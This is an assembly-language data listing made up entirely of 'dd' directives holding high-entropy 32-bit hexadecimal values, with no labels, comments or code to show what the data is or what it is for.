dd 0E2E15E92h, 57C61750h, 0F69642E2h, 27E9165Bh, 0C4AD574Eh
dd 8FCA5A86h, 0FCD64F7Bh, 72EF9778h, 5126F194h, 4FA6497Eh
dd 60BF6882h, 3B54B099h, 0C12DE129h, 0DD64E9E0h, 7376199Dh
dd 2502F138h, 68810D46h, 54F002C2h, 42F3D99Dh, 33FE5152h
dd 5475EC10h, 24808A3Ch, 12F0F1CBh, 79F801AFh, 0C8DA8852h
dd 2D905AD1h, 4464F025h, 7D70BF1Eh, 0CF8F7754h, 4567C413h
dd 7DBF2506h, 2ED2617h, 0FA66E4ADh, 2CE5523h, 514DC727h
dd 9DF69FCh, 766EAB0Fh, 0EE7572BDh, 4DC5BFB7h, 508063ACh
dd 1D7B11B8h, 0EB8C9774h, 5A00E612h, 0CD053BFCh, 0EA6C770Fh
dd 6F1A0D3Ch, 382601E5h, 3F19305h, 8534642Eh, 0D862EE96h
dd 99E296E9h, 0E9522FA0h, 149E2C20h, 0E51C6853h, 12613D84h
dd 6E183EE2h, 6857296Ah, 9869250Bh, 3C11D416h, 0B87685DEh
dd 1DE70482h, 4ABF641h, 0AB5C31ECh, 5B6944CEh, 664181D0h
dd 18DA3EA5h, 34215B4Ah, 30325D48h, 855AF9D2h, 0ABE65BD7h
dd 0D1656817h, 2A9E2065h, 915A29B7h, 32E868F4h, 49142136h
dd 5A485DE6h, 0D19C2E2Dh, 1D885C96h, 0B35309A0h, 4582C043h
dd 1FC92CE9h, 0BC941733h, 337E2D09h, 0AFDBC142h, 0C2B9812h
dd 0E4949D14h, 0A002C322h, 9575E791h, 0D0428DF9h, 0F44EF705h
dd 0E8D89C25h, 180175ECh, 0A5C1476Ch, 558271A1h, 315AF985h
dd 9DD5469Dh, 0CBD7C31Bh, 0F5C72092h, 66617AFh, 0F7041782h
dd 5B4B39BDh, 51B0B680h, 1848616Bh, 7AD94147h, 36C4871Dh
dd 88E85B32h, 0F310095Dh, 0D0681D57h, 494FD64Fh, 8148DA0Ah
dd 38749DB7h, 74779048h, 0AC02F17h, 0BBE73F60h, 95F793Ch
dd 0D9E1BDE9h, 6CCA0106h, 2A1FC817h, 16E87AB0h, 0BFDFD8B7h
dd 36AD0F12h, 0CA4BC84h, 16F9385Eh, 167CF3Fh, 9E2922A7h
dd 0A8812A79h, 7A71D631h, 8006CF38h, 4768FCF5h, 0D2C928E0h
dd 0C0B8998Ah, 93CD043Fh, 0F381005Eh, 171609D5h, 4895578h
dd 36A0D33h, 0D831ADh, 6DB5B3E2h, 2BCB0507h, 88567625h
dd 0E90607D6h, 0A0B1B2B9h, 0BD234DDAh, 26829B98h, 0E947AB06h
dd 0BF28F09Fh, 952E2B6Dh, 2778502h, 6A84C2Ch, 3B1D46B8h
dd 5A1E940Bh, 2F26C463h, 522B9601h, 0DD700131h, 0AC6B4841h
dd 941CB4A7h, 0CFCD8157h, 80F468C2h, 8E071FBAh, 15683C6Bh
dd 0BF09C154h, 49421C8Bh, 0A4B06FD5h, 0FBA61246h, 212B156Dh
dd 73541B3Eh, 6C9510C9h, 89D0B11Fh, 0A9101C43h, 7682C775h
dd 0FB6934DDh, 0C14EB682h, 84059744h, 584782E0h, 3BA9DD09h
dd 68189A46h, 3DA75D26h, 0F5F1BF7Fh, 599F84B9h, 888021D1h
dd 60896213h, 2FFB726Fh, 2AB009F2h, 879FF03h, 41FE292Dh
dd 1CA0081Ch, 2799BF14h, 8CFA6157h, 0CC5158CBh, 40BE808Eh
dd 330F2001h, 3C7684Eh, 40DE1868h, 0E910A81Ah, 0FDC06A37h
dd 99275CC7h, 98297677h, 0C00882C7h, 81D0A4D9h, 4FF28F43h
dd 42A269A0h, 0F0138381h, 0DF02B215h, 4C55B442h, 76342098h
dd 972D5576h, 0D366A15Eh, 8770B652h, 5C7D4016h, 12DF0852h
dd 0C6A9533Ch, 25682585h, 0CD48CD09h, 758820E2h, 4F82E980h
dd 0CAE2A358h, 5A80F38Fh, 0FEAFF180h, 8C6663C1h, 0E2CD207Eh
dd 0C180C5FEh, 0C8DB07FAh, 56FD3E51h, 0B244F0CEh, 7CAA0982h
dd 0C9912E94h, 0DD40A65Fh, 91015129h, 0BD4BE82Ch, 39147312h
dd 16913263h, 0D29D9B6h, 575C0D85h, 0F065D556h, 2094669Ch
dd 0F752A609h, 5854FB38h, 0C9EC7B97h, 70B41A27h, 0F5814B68h
dd 210DF465h, 4BB95B82h
dd 276B326h, 2B6CBA61h, 0AD606395h, 78251EC2h, 853A6031h
dd 16C67DA3h, 0BBDDBAE9h, 0AA22AF32h, 6A08A0DCh, 0C12909AAh
dd 3F078A7Ch, 5DD2135Ah, 13AD4CA8h, 0E83E6968h, 0F639C4D3h
dd 0C10EBE12h, 8207CB2Dh, 0D75DEE75h, 7BF32031h, 58276EB3h
dd 3AB0BE46h, 0A3C83132h, 9FBA82E1h, 0F4185597h, 0F99CE3ACh
dd 60EE683h, 733BD954h, 812F6425h, 4CBCCA0h, 0C106AAC3h
dd 77A5A29Eh, 0B52085D8h, 0EAC003FBh, 80CAFE08h, 74EF8EABh
dd 0D30692B6h, 93756577h, 51EAE9EBh, 7BE57FB7h, 78108A3Ch
dd 0E8987083h, 59663909h, 5806DE51h, 0B40BFDB1h, 0B0CC28BFh
dd 0BDE58817h, 0DCA5F259h, 945CC476h, 0A364FC54h, 842A0456h
dd 0FB3D2E47h, 4E4476D0h, 76297646h, 400838F1h, 24B55940h
dd 0E5F0BEA1h, 96EB2D80h, 3FD95FB1h, 3DFB2B17h, 0E4992BEFh
dd 0E4AC952Bh, 6F412843h, 959E02Eh, 4D4FC412h, 0DCBE580Bh
dd 0AB6BEF76h, 14D53762h, 847927A9h, 2FF35D69h, 0BD09B4C4h
dd 2DB702DCh, 25684CE0h, 1E991608h, 0B2E43BD2h, 475041E2h
dd 76D65BF7h, 71BEF60h, 535D2578h, 0C304AFE6h, 14BC0406h
dd 23108FBCh, 285B307Dh, 7EA6D7DDh, 0F2D87EFAh, 0B21CC7FCh
dd 0B0FD7289h, 73824B5Ch, 0D47DE12Dh, 0EB2550C4h, 6426CDE0h
dd 0B6267D52h, 0D3F75984h, 0CEF3E6C1h, 5B020D70h, 88D901h
dd 2E5F2591h, 15E9790Bh, 621C7402h, 910A9C69h, 0A3087504h
dd 10D4A9E0h, 64FFB49h, 465C2E2Dh, 31A30B0Ch, 0BF800B13h
dd 39AF3B09h, 4E084858h, 713A8CE1h, 91618Fh, 0B57A2568h
dd 71AD1418h, 2A86EB5Ch, 2178819Fh, 0A742FE96h, 934009B5h
dd 41557268h, 3176E020h, 5B110201h, 994E943h, 83CEB769h
dd 0BAB04D3h, 0D2B80375h, 7703BA09h, 0CA81AF60h, 2F24F20Ch
dd 28D039h, 2D36AC5Eh, 7DB22A01h, 8D555628h, 0CC75AE17h
dd 5D2B2305h, 0ABEB74EAh, 52F29071h, 607AB001h, 0F997C532h
dd 0E381000Dh, 10FD7F43h, 0C1DBF728h, 0FFE9E14Eh, 18EEF297h
dd 0F6374F9Eh, 0E63B2E9Bh, 6AEF09C7h, 0B5DD1C6h, 0D8681689h
dd 0F33A33F1h, 2C9ED452h, 8244DCE7h, 0B17FE583h, 0B6C339C3h
dd 0B107EB10h, 6ABBDFE9h, 0F0CC8662h, 0C42D65BDh, 0C855C2D7h
dd 5E2FD556h, 9159E2B5h, 0C55D4C6Ah, 0E67A2DE7h, 28B6E52h
dd 7EFABDEEh, 2051D4C6h, 19BD808Eh, 4F1F2E64h, 4FEA1024h
dd 0F6030DBDh, 0D27B2B9Ch, 2F8DE8F1h, 52DADE32h, 2CE27F19h
dd 6523A9FAh, 0ACEEE53h, 0BC296614h, 0B54EE284h, 0D91DDC27h
dd 0E4445927h, 30D8B0E0h, 0F72455C5h, 0FE0087D7h, 6E8C196h
dd 16F025h, 362D426Ah, 21DCE9A1h, 25BFC55Ch, 84017AE3h
dd 14EFB53Dh, 15101427h, 86C771E9h, 0B040CD48h, 7852121Ch
dd 9C35080Fh, 0D71EAE24h, 12E0471Fh, 6001CC68h, 0D51D6EC1h
dd 0E3C1770Bh, 7AF605h, 40A325CBh, 779C1BE9h, 83127434h
dd 121D2231h, 56358005h, 3D7B9F7Bh, 5313BC4Eh, 0C6C46277h
dd 59017FF8h, 0A076E80Dh, 5BA02F49h, 0C53316BFh, 3BDD046Bh
dd 10FD147Eh, 523BF149h, 0CAC91CE2h, 0CDEE8003h, 510AC2EAh
dd 45410FDFh, 0C6E57AE9h, 0A5114368h, 0B1977873h, 0FB45E99Ah
dd 2559A920h, 36414CFBh, 64986B2Dh, 0B0865036h, 13A3AC13h
dd 0EE114268h, 9DEDE138h, 0D501AA48h, 51DACCC9h, 57133C7Dh
dd 3E39AECFh, 0C4FDFBF8h, 8146B41Ch, 2FDDADADh, 1C952CE3h
dd 9521E984h, 4E98F8EAh, 0F9049B8Bh, 0EF099F71h, 0BB0558C0h
dd 0CDDD00E3h, 4701FE0Dh, 0E9FAD12Ah, 3AED9227h, 119A7505h
dd 0D42ED864h, 18C39993h, 0E8835F8Bh, 9E9B18Ah, 7BF3D24h
dd 5D152137h, 0F952B247h, 92BBBC56h, 2CA3F634h, 5F1FC973h
dd 8AA594FFh, 824C4680h, 0DA9EFFE1h, 0D9D54Dh, 6C0F1C2Dh
dd 28D02939h, 0BD08BD55h, 0AA05EC04h, 4F6FA7A1h, 0FDF3F8B5h
dd 6153A246h, 0EA04D760h, 879CFB19h, 994CC3ECh, 5807B138h
dd 51947E35h, 7342912Dh, 0ADAE6863h, 0FDFA5F68h, 4D36867Fh
dd 0EDBF5B52h, 0CEA04EB3h, 0CDD9B72Dh, 5B1C2F04h, 751295C1h
dd 85DC0102h, 8DF05E93h, 9405033Eh, 0B4F5E934h, 0C5A0254Bh
dd 0AC39136Fh, 8E530542h, 0C15ED1E6h, 9BF043E5h, 2800909Eh
dd 38B252D0h, 9504EAC0h, 0EF1434FAh, 20C4DAF6h, 0A00979CAh
dd 0EE781F2h, 49256351h, 904F84DEh, 0C008BA82h, 25422793h
dd 0A34898D9h, 54269110h, 0C28D0879h, 0C34D590Ah, 0E22A9807h
dd 3D40FED9h, 0F7CD8706h, 510608D1h, 0FE7847B9h, 5E45203Ah
dd 82A04A71h, 34E23067h, 13220CC0h, 25E914A8h, 0B5D1DB50h
dd 0E00D0226h, 8B30734Bh, 576481DDh, 0D54AF4F5h, 13F1BC82h
dd 0B2F29F21h, 0E305EE93h, 18815BD9h, 0B26EABFh, 0E27A274Bh
dd 0D268DC60h, 628236B6h, 5074816h, 55021D5Dh, 417F4214h
dd 0F0EE22ABh, 7DE7C306h, 0A0C5B89h, 187960F9h, 1EC02DEDh
dd 0AE92DDE9h, 40AC1C8Ch, 981DEB5Eh, 0B78A5293h, 31B11F5Fh
dd 82634AB1h, 0DA2DDD9Dh, 2B88F73Eh, 0A7680907h, 579E05D1h
dd 9A360279h, 566FE95Dh, 0CC9A2595h, 0AF085A54h, 10782568h
dd 60EEC051h, 42FCD155h, 80B25152h, 0C680CDB6h, 6F06C87Fh
dd 0EE286507h, 0F7605DBEh, 4F688105h, 1892D55h, 18DC3364h
dd 0E042FE31h, 0EF2D048Dh, 60F9FB88h, 2BF671ABh, 948E3EDh
dd 7C710262h, 0D5294B49h, 80901E2h, 42938E76h, 0DCCB4284h
dd 68B8D85Ah, 561AAC25h, 94D7EB8Ch, 159D16EAh, 0ED4105A3h
dd 0C2060199h, 0C8717435h, 0E913EA01h, 1FA35075h, 7EE1F3D2h
dd 342C9E96h, 80BA65A5h, 451B2D38h, 5D6D2F7h, 4C7801FFh
dd 0D82E6B2Ch, 0BCECD5E2h, 0EE93718h, 0B0F93151h, 0B3D34B77h
dd 0C6034DC2h, 250B0D48h, 0CCDC4A32h, 53BF685Ah, 0EBEF8B60h
dd 6C4B87ECh, 26429CC9h, 200BDDEFh, 2EF63E55h, 81BE23E9h
dd 0BC7FB2BEh, 92EE83Eh, 45BAD19Dh, 3957AB76h, 0E2D6F1FDh
dd 6968C22Ah, 4E14D576h, 91E9A5C5h, 0AF84CD59h, 2A7B8B78h
dd 0C2D849B1h, 69444734h, 0BE563F40h, 14E907A0h, 0D83031C2h
dd 8591405Bh, 5FD68254h, 69CB210Dh, 0BECCB07Eh, 4CE5EF4Ah
dd 9C72D648h, 44512DAEh, 60AAE950h, 86C397AFh, 4727CB2Eh
dd 20A15429h, 0E5A6908h, 8F663910h, 0CE709AA0h, 99524EBDh
dd 0CE3022Eh, 0FC11F70h, 58AC29C6h, 0E56E9835h, 49761824h
dd 5C09184Fh, 0FE72022Dh, 0C1F69795h, 6FD00865h, 0EB6C3F0h
dd 2861C180h, 40E95D7Dh, 59C82058h, 654ECF68h, 4CFF1431h
dd 0E132C66h, 0E314ECA9h, 0D54612B2h, 3D48F95Ah, 87B362E9h
dd 4B84C1FAh, 4E948E2Ah, 0B9071AACh, 403E6C1Eh, 0C193E14Bh
dd 0ACE7CABAh, 260B199Ch, 0C214D781h, 1F30520h, 94BB53ADh
dd 3A30D04Ah, 5C06071Ah, 63EDC07Bh, 4571035Ch, 92CCCB7h
dd 69603697h, 1D6BF404h, 554A212h, 9E221010h, 4AD9EC4Eh
dd 677B0AF1h, 0BDBC27Ah, 9054C4FFh, 407E41D7h, 2D0415C4h
dd 0CD811901h, 7CB65AD7h, 0C47C86B0h, 0F7F00D5Eh, 2DF0DD58h
dd 9FBD9A0h, 0C255C681h, 8CB27DC5h, 54E971FEh, 927F69C3h
dd 0ED4A5D4Dh, 68600175h, 0EA4D3FF5h, 7C692F30h, 40644940h
dd 72F78181h, 7070D12Bh, 651F690Ah, 0F1013ABDh, 2E540E73h
dd 84E3A22Fh, 0A3AF97B2h, 91680AEBh, 2E93D555h, 0DEFBBEE4h
dd 8433976Dh, 0B929EACBh, 9D10BAF8h, 6F925D67h, 45B9CD57h
dd 17982DB6h, 0BFBCC34Ah, 0EF7DEFD7h, 1213B33Bh, 22BC16E9h
dd 830B994Bh, 66852F3h
dd 802FF233h, 11B9F2D5h, 0F5074CE6h, 8E32F706h, 5E09183Fh
dd 0D84C5005h, 6CDE244Bh, 525B6420h, 0E90798BEh, 489B3C27h
dd 80D39C1Eh, 7FFBC221h, 8EBE5D90h, 0A103D3Ah, 9A4B9324h
dd 21895DBDh, 0C30CEE78h, 98CA7C70h, 0AE4D0BF3h, 80DD3892h
dd 916F47Fh, 0FE892F0Ch, 50A5C1D6h, 7B140B64h, 0F500136h
dd 0C410883h, 7B447E1Ah, 0A914C0FDh, 0A605A04Bh, 21BB2012h
dd 0FE946F01h, 0B16FD1B0h, 2A9821CDh, 0C7C5F9ADh, 0BE37AA46h
dd 0DEF9B492h, 9557479Eh, 227F9A1h, 17685EC5h, 8D4ADD47h
dd 3F1C080Dh, 71297EE5h, 73498310h, 23DCC90h, 16C80481h
dd 84FEC45Dh, 546A8BB3h, 13F57933h, 0A874B9C8h, 9EC32B81h
dd 0EC6C260Eh, 0E29EC74Ch, 0DC2D106Ah, 1E28DB30h, 0F5ECB756h
dd 0B54A1CB0h, 16AC10CCh, 54964Fh, 23D60667h, 0ED55E90Fh
dd 656741EEh, 23B767Eh, 77BB519Ch, 1FE564Ah, 541241E2h
dd 0F7D02B3Ah, 27B802C2h, 2CD4F77Fh, 2D7AC609h, 406F9AD4h
dd 0B4282DE4h, 313DFACDh, 0BDF3DEC7h, 82C91025h, 0BAF47BEBh
dd 0DBD99D58h, 0DEA2DD69h, 0E5F65622h, 12F95044h, 186BC010h
dd 0F3285F51h, 6A53B57Fh, 0C17398BDh, 14A7C571h, 0F432435Fh
dd 0D2BD6D00h, 0B027E93Ch, 0B63F489Dh, 699C3276h, 5F4006F0h
dd 304A512Eh, 21EFEB17h, 768D22Dh, 0CDBB2335h, 2D3C673Ch
dd 680C455Dh, 4022A7E8h, 57049CA3h, 7EC9C3EAh, 3C77D518h
dd 90525857h, 98F69A3Ch, 7BDA2268h, 0A8B1C61Dh, 0F8CCEFDEh
dd 0ECF1762h, 20844DA0h, 9060C7CFh, 52D0151h, 494A341Dh
dd 0B896BE5Dh, 7042EB5h, 2B568907h, 860065E5h, 385B3BE3h
dd 0A47F7DE9h, 55B5139Ah, 0F20F00E7h, 64C66110h, 8241E925h
dd 0E1D1F6B5h, 17703C0Fh, 0B2521350h, 0E1FABBFh, 0C292DA9Fh
dd 8BE18A05h, 25446CF4h, 0DE7CC328h, 0E9F2703Bh, 0B9886E2Ah
dd 39614601h, 0CE89596Dh, 82A55E28h, 0EC0BDC11h, 4D9B80DBh
dd 0BC5B9F81h, 0D396591Ch, 402B62B4h, 0AB70BB4Ch, 54351B24h
dd 825DD205h, 9587FC04h, 0EACBBAECh, 0D6FEA8D7h, 87178C10h
dd 9357EDD1h, 2EF7E9F0h, 2F949D9h, 740C6DE2h, 536A82C0h
dd 0CC516032h, 0BF0F059h, 236B3BBCh, 77B95800h, 0F6F80C61h
dd 0AD02AB03h, 7145E97Dh, 27250764h, 5E6D3759h, 0F204FC7h
dd 55E1DDE9h, 1262C3BDh, 0CCC9E14h, 9B073A74h, 0CB019F9Dh
dd 5ED6AFD2h, 8566D802h, 4019C840h, 879C2D44h, 6DDE60ADh
dd 0A08BA6F8h, 0E0161D0Ah, 9D729D39h, 0EFAC8E6h, 0A94AA425h
dd 0CEF38468h, 0C55BFC12h, 0FD4004E0h, 0E9E820F5h, 5BDAA957h
dd 0CBC8A22Ch, 6889B1A4h, 9B3942A3h, 43C1A987h, 838EEE63h
dd 307C39D7h, 924A1217h, 0BCE0508Ch, 83B409FFh, 769D8E7Dh
dd 20167FBCh, 523562B8h, 8499E9E0h, 52A8F3B1h, 5D7DCB73h
dd 0A90B8F5Bh, 0FE1C9650h, 0DDD14F4Ah, 7BE22A42h, 5A9340D7h
dd 8007EAC0h, 0FE3AF20Eh, 9CC24ACAh, 0AB209D0Fh, 0A80C4359h
dd 4A7F6853h, 0D1FFCC54h, 0B86540h, 3640264Bh, 64838C05h
dd 5EF1845Eh, 0F853172Ah, 0F7D2A9E3h, 485D8E32h, 9559CDC7h
dd 6F02EA2Bh, 41903BE6h, 198251A5h, 226BBA6Ch, 96D5D094h
dd 0F5A825FCh, 0C15EA37Eh, 1F55B914h, 4F426314h, 0EF852DBCh
dd 0BD86FC07h, 489A006Eh, 310194E9h, 2E44F74Eh, 7C14B50Ch
dd 0C4507C07h, 0EB5AB525h, 0D2C2924Bh, 78CCED5Bh, 5EB22D15h
dd 880B1F2h, 0E64B8CE9h, 8F58B3CEh, 0F5A078Bh, 2C73C307h
dd 0CB603C32h, 0F17954B7h, 0EE3BB02Fh, 13102210h, 790CEA37h
dd 5B746362h, 5812022Ch, 0E46871F3h, 56680483h, 0CAF2AA14h
dd 72580AD4h, 0F980E720h, 4A3D3129h, 0FDB9974Fh, 96C920FCh
dd 9A203F4Ch, 5A66178Dh, 6B1DB130h, 449797B6h, 82D028B7h
dd 74C4B8F4h, 0A21222h, 4B6B32E7h, 50D7F778h, 7B95100h
dd 0E9369370h, 0A5CF4F2Eh, 92EC0767h, 0F7D4CD37h, 0AB45F389h
dd 6BDAD678h, 0FA97E80Eh, 41A3FE21h, 46D6E812h, 200E3146h
dd 521FC296h, 0B7DADFB6h, 0C6B43C3h, 0BAB84E8Ah, 0E540C546h
dd 9678955Eh, 0EB562907h, 8E3B8314h, 48BAD3A1h, 0F5877950h
dd 12FEB3D5h, 0DCEFBA84h, 0F525E940h, 73E95A69h, 9800B54h
dd 8C904F5Fh, 0BBD39037h, 0CF2F43FCh, 902DA374h, 0CE44B1ECh
dd 0F10F1EBCh, 0A7EE18FDh, 153ABF57h, 175267Dh, 6B092C3Fh
dd 586ABD80h, 2C2117EAh, 0F555DEEh, 204125F6h, 31F70115h
dd 1C5DF6E8h, 0B8565E41h, 3AE9E1DFh, 90599B94h, 8B032307h
dd 0AE5F194Bh, 62B06135h, 0D03E74EAh, 6D04CB3Bh, 0CE143B2Ch
dd 53FEA801h, 0C7C5E9BEh, 2BCF8803h, 509804FFh, 0F5211991h
dd 0B9F783DCh, 6B68610Ch, 2F2F3457h, 0A23A6141h, 0C42D59C6h
dd 0CABFBDD5h, 0E6A9127Dh, 8864A830h, 4A82F602h, 5F5EE340h
dd 0E1168A82h, 847A5591h, 5D070027h, 3DE9C909h, 6CDDEEAAh
dd 5B7BF80Ch, 0CFD3AC07h, 0F0BA4951h, 0E0F4E823h, 4CBFE0ACh
dd 165AF50Ch, 2B5CEE41h, 0BFFCD7D2h, 0BB97C0B1h, 0AD2C30A1h
dd 4E1F68ACh, 72253Ch, 0C1B5FA14h, 0C999F528h, 2801DC2h
dd 0F7E3F988h, 0ACE3CFA2h, 32F258EAh, 0CD8EE0Fh, 0F81672DEh
dd 273D51BEh, 0BA6C68C4h, 0BA5812E2h, 47A8F619h, 57C83BEBh
dd 47D74190h, 2903FCB8h, 0C562CD65h, 0F5026BA2h, 76E65C7Dh
dd 2979FF0h, 95522FFh, 62E530E0h, 0EF3C0083h, 336D138Fh
dd 0DEFCF829h, 30AF804Ah, 1DB050E9h, 0E02D5194h, 29E9109Bh
dd 8A76151h, 109BADFh, 4BC1F9F9h, 2D01FFD0h, 7AE1762Ah
dd 0C685D001h, 0EEFF13ECh, 623E39C0h, 31C5AE2h, 8514E95Ah
dd 4122D150h, 0DF6470Ah, 720F45Fh, 38B25B68h, 7B02BEEAh
dd 7F25C879h, 6F61D8AEh, 40183F75h, 436133C8h, 9A0E409Fh
dd 2C4DFE1Fh, 2034F329h, 20519808h, 6816637Fh, 0E76179DAh
dd 80023FC7h, 2EF7FFC2h, 7E5BA9E1h, 45792D90h, 97F3412Dh
dd 2E42093h, 6466840h, 18B427A6h, 7B95B5B0h, 4C3230E4h
dd 0F997C830h, 0E64C54Bh, 841DA6CDh, 0D073E1E9h, 0B968C8D9h
dd 3A314855h, 68A66213h, 41D88410h, 9A2BDCF0h, 1466C49Dh
dd 0CC1D375Dh, 8F04D002h, 0CA760106h, 0DDE9F004h, 0EB9913EEh
dd 0FC24CC75h, 0EB5400FBh, 0E9644C6Eh, 79966725h, 4D7549E6h
dd 0B14CA7CCh, 13AEC920h, 0AF2D5D5Fh, 0D217225Fh, 0ADCA1D84h
dd 5A7D2580h, 2D050FBEh, 3260A30h, 40A4FE12h, 0B4B34AE9h
dd 4E567E9Ah, 62A02FF5h, 9E16D564h, 0C0DFF600h, 0CF8008E7h
dd 3EFE5870h, 0BF57E828h, 0D9EE9E8h, 7F79E125h, 42F41A98h
dd 7BEC4CB5h, 0A2972F52h, 0BB25AF4Ch, 70CED61h, 0B9406853h
dd 0E9C27CD4h, 250658CDh, 6D7C048Bh, 5A0BB473h, 0CF5FA15Ah
dd 17DB0507h, 0E6A880BBh, 4B5D0CC5h, 0C46DB242h, 68027ADFh
dd 626C1F5Fh, 8EF820F3h, 6B7641B5h, 479F8007h, 0C2B7E6D8h
dd 48F1551Bh, 0FE972426h, 5D1097ADh, 67BD013Dh, 4D264232h
dd 90766D30h, 93F3700h, 0FAF19124h, 0DE02A77Fh, 6F68055Eh
dd 0DEF5EC5Fh, 9D20A647h, 0C7E782BBh, 8C19FF5Eh, 130E6B80h
dd 0B2140205h, 648E6134h, 4B1D616Bh, 0F381005Ah, 9F5C2DE3h
dd 2B886EC0h, 4A983975h, 0F277E1Ch, 5FFB0944h, 805A51BCh
dd 64DA1477h, 8C80FE4Bh, 0A8D660E9h, 0B357959Bh, 96220B50h
dd 54161CF9h, 50988622h, 0EEC01309h, 2D74A606h, 77160E7Ah
dd 5F678F01h, 943441A5h, 2F731D61h, 3DF78166h, 6CD896A1h
dd 0AFE93C56h, 0EF1C566Dh
dd 0E272A464h, 8892C6Ch, 0FFB00D1Dh, 25F3E1F7h, 443A805h
dd 0FA5019F2h, 1C4F2117h, 7813458Bh, 3BBFE93Ch, 795CCCCBh
dd 20C16812h, 0B7C417F8h, 809F81C5h, 2668C4EFh, 0BA436F62h
dd 256E52BCh, 41FE02C2h, 882CD278h, 199F3C3Eh, 11A53655h
dd 0D85C864Ah, 80591D58h, 0BAB8EEC1h, 3A21EDA0h, 0CBFC787Eh
dd 82BF149Fh, 50215C87h, 0EF2FE954h, 13B24563h, 4089AD5Fh
dd 46000B9Ch, 6992053Ch, 28297A41h, 98072DC8h, 6A262081h
dd 142D7DB0h, 2F1E6649h, 659F93Fh, 0A434EFC4h, 438A306Ah
dd 1F181215h, 8A01BA71h, 36976616h, 3995C12Bh, 80477106h
dd 0ADC92F0Eh, 0BAC8E9A6h, 0B3BA05D1h, 0C02C6818h, 19E18DE4h
dd 0B2A1D34Eh, 0AA38182Eh, 5880C76Fh, 92681755h, 2473454Fh
dd 0C31BF30Bh, 2E786BE9h, 0EEDB236h, 14125AD1h, 0AB2D17E8h
dd 5744F4DCh, 0FA84882h, 1F102035h, 0CE8103DAh, 8F686FF6h
dd 0D93C42B2h, 700F4290h, 29CF307Eh, 1EF5DA5Bh, 92DEF65Eh
dd 0BB15B001h, 0B21EBA00h, 0C1CB816Eh, 6103272Eh, 0ABFAF5Ch
dd 99567C77h, 0F0B24300h, 0BEDD310Fh, 10ACCA4Fh, 0A19A504Bh
dd 0EC2FA941h, 5037180Eh, 2460216Bh, 2A10369Fh, 325A90EBh
dd 0C7DD8951h, 7D7EAF55h, 1853B65Ah, 5E316636h, 2F78A7F0h
dd 39635256h, 344FA9E9h, 0EB21EBE3h, 8C2F3AA2h, 68E18B7Fh
dd 0F6EB02CBh, 0C13AEC63h, 0BA04E45Bh, 0E875525h, 0CE7C21C2h
dd 39C6265Ch, 7848C270h, 0EA40B4F6h, 58EF8A53h, 0E8377A66h
dd 0BEF2C4F1h, 0EED83BF1h, 0F0772689h, 799A08CCh, 0F12F319Fh
dd 0C488085Dh, 419A5C1Dh, 2A1660C3h, 6C702C50h, 0C4800E96h
dd 0E901F3C2h, 54694354h, 6370E17Ch, 4F6E8BC2h, 316EE569h
dd 0C480B3C8h, 0FE16BFF3h, 60A0D0CBh, 51500012h, 0B25226B5h
dd 0C970B095h, 0D0B55AFEh, 0F024C9C2h, 0DBC2A242h, 0D59CA4C0h
dd 808D7082h, 7D3C2E88h, 91792D6Fh, 87896CCDh, 13C8F30Ch
dd 0E90E0E5Ah, 0BED7814Bh, 0EF5695B2h, 7A11E961h, 4EA6DD5Ch
dd 3B12994Dh, 483D50F0h, 0F118DF9Ch, 0C5E90D6Fh, 7DB34749h
dd 0C361870Bh, 3C8F0552h, 741A9B25h, 57D05740h, 6DEECC0h
dd 4C29173Dh, 84128CAh, 1029A26h, 4F7C68FAh, 2C27E675h
dd 0BB297581h, 8E0F302Dh, 0F8394465h, 93EC9104h, 4C641ABFh
dd 5E251551h, 7D5AF197h, 0DC0D124Eh, 0B554033Ch, 0E820FFCCh
dd 0B10B644h, 0BBC5F51Fh, 0ED101491h, 37F85E38h, 20CBF107h
dd 0FACAC2CFh, 0D59EDAE6h, 1C0B6804h, 8DEA31ABh, 0FB84D726h
dd 0EE4940CCh, 3F9E09C9h, 1600224Fh, 1B4C15CFh, 86B9E916h
dd 1377B7E4h, 0C046923Ah, 19583E67h, 2802B6BCh, 5A3C607Ah
dd 328EFE99h, 1942D74Dh, 0A03539DDh, 44927BA0h, 0D617F3F1h
dd 7D20D41Fh, 0FFD1DA9Bh, 7E3EB17Ah, 7ABB3C40h, 0C1523563h
dd 0F5C1ED90h, 77B13F29h, 0D4EED614h, 4BBBC31h, 16BA73AAh
dd 4A2DDEFh, 39F3AF0Ch, 0EDC6EC1Ah, 6AED3450h, 5D960D2Ch
dd 295874B2h, 257EFD46h, 4B6C891Ah, 0CC760D6h, 51E063F2h
dd 4B68840Fh, 50DBEB28h, 7FD6D94Fh, 0ADB84584h, 25AE68CAh
dd 4572307Eh, 4AE62758h, 754B64FAh, 78CCACD2h, 1D79BF8Eh
dd 0FC2DAC48h, 0DF465A49h, 685FFB25h, 9A82E942h, 0F8313E21h
dd 7DDC212Fh, 0EF56A713h, 0C3116CA6h, 0F9C70081h, 0F72B8434h
dd 40E998D7h, 50ABF6Eh, 0E00BA90Eh, 59599149h, 0F15CA02Ah
dd 0CD9BB8ABh, 92EB47B9h, 84EEEE53h, 8F82FFB9h, 0D629803Ah
dd 0F9167356h, 4679BAA7h, 38096768h, 35B802C1h, 14DB9137h
dd 0B0F59802h, 0F58DE9DBh, 0A52A6C65h, 7DAF3853h, 0A3CF7332h
dd 6924740Ah, 37030138h, 201DD88Ah, 95A319h, 9F77D92Bh
dd 69C8C80Ch, 24096805h, 3685D8EEh, 0F1704F81h, 0C14C959Bh
dd 5FF281h, 3D4F81BFh, 0BB2F7138h, 0B707A38Bh, 1DD993E5h
dd 0B85C94D9h, 59C80316h, 0D92B2C5Bh, 0AA3CCDE0h, 0EA7DC281h
dd 0FF2C3E0Bh, 0B0431216h, 7ABBC054h, 59603264h, 8B2D220Ch
dd 8A2B9F0Bh, 36864602h, 0D1C83377h, 0CA6DEC8Eh, 0A20B2D77h
dd 99814E6Eh, 0C3399C8Bh, 455B1A8Bh, 7652D90h, 76FD6805h
dd 5A260998h, 40A9F7EAh, 0F780E08Dh, 0B56813E1h, 825E8C63h
dd 4EC3F444h, 0E6D5CC7Eh, 71BCAD4Eh, 68010EB2h, 0DB584AD2h
dd 0EB82F7D8h, 14875DEAh, 0C17E7FDh, 0E75935F3h, 0A97DEF12h
dd 0DEE83B04h, 68E02CBEh, 0C774712Dh, 0BFC513F7h, 0ED817C5Dh
dd 72A22A01h, 7C6D1899h, 3DAC3A2Bh, 1CA00841h, 5FE91214h
dd 10A9A9ABh, 627BEF3Eh, 30ACA1A3h, 529262C1h, 0F5DE5FDAh
dd 0DE743705h, 2127A5E8h, 7EF99DF0h, 54CAC040h, 2563785Ah
